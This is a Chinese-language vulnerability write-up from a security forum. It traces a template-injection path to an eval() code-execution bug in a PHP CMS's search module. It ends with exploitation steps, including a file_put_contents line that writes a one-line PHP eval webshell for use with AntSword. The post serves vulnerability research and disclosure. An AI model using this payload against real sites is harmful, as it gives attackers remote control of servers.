第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。审计过程:采用关键函数溯源法来找的。全局搜索eval函数在e/class/…
第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。
审计过程:
采用关键函数溯源法来找的。全局搜索eval函数在e/class/connect.php
代码如图所示,能否利用这个eval函数,关键点在于$listtemp和$docode
然后全局搜索ReplaceListVars函数,找的使用这个函数的功能点,在e/search/result/index.php中发现使用了这个函数。如图
从这里开始再进行回溯,查看参数是否可控。可以看到$listvar和$docode都是从$tempr中得到的,所以回溯$tempr
可以看到$tempr是从数据库中查询得到的,执行哪条查询语句关键在于$search_r['tempid']
再回溯$search_r,可以看到$search_r是从数据库查询到的。
我们连接数据库执行查询,看看这个sql的执行结果。
可以看到tempid为1。所以$tempr是执行第一条sql语句查询出来的。这里再执行第一条sql看看
如图,listvar就是可以放到eval中执行的字符串,而modid就是控制能否执行eval的$docode。将过程反过来看就是漏洞成因。
而要利用这个漏洞还差一个条件,就是参数可控。所以接下来要找可以插入数据在这里的函数。
全局搜索第一条sql的数据库关键字,在ListSearchtemp.php中发现insert,可以确定这里是新增的地方。
在web中找到该页面。可以看到这里显示的模板名称跟之前用sql查询的名字一样,所以可以确定这里就是新增的地方。从页面功能可以看出可以新增和修改,所以eval函数的参数可控。
漏洞利用:
修改类别内容为phpinfo,同时勾选上使用程序代码。
然后从首页底部的搜索功能,到/e/search/result/index.php
用file_put_contents函数写入一句话木马payload,然后连接蚁剑:
file_put_contents('test1.php','<?php eval($_POST[cmd]);?>');
- 本文作者: ordar123
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/471
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!